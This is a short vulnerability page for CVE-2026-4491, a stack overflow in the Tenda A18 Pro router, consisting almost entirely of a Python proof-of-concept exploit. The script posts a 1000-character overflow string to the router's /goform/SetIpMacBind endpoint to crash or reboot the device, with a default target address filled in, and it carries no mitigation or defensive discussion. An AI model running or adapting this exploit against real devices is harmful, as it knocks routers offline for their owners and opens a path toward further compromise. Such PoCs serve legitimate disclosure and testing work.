CVE-2026-4491 Tenda A18 Pro栈溢出漏洞

import requests def exploit(target_ip): """ PoC for CVE-2026-4491 Target: Tenda A18 Pro 02.03.02.28 Vulnerability: Stack-based Buffer Overflow in fromSetIpMacBind """ url = f"http://{target_ip}/goform/SetIpMacBind" # Constructing a malicious payload to trigger the buffer overflow # The exact length to overwrite the return address depends on the specific stack layout # This payload sends a large string to cause a crash/DoS payload = "A" * 1000 headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } data = { "list": payload, "goformId": "SetIpMacBind" } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Response status code: {response.status_code}") print("[+] Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual IP address of the target device target = "192.168.0.1" exploit(target)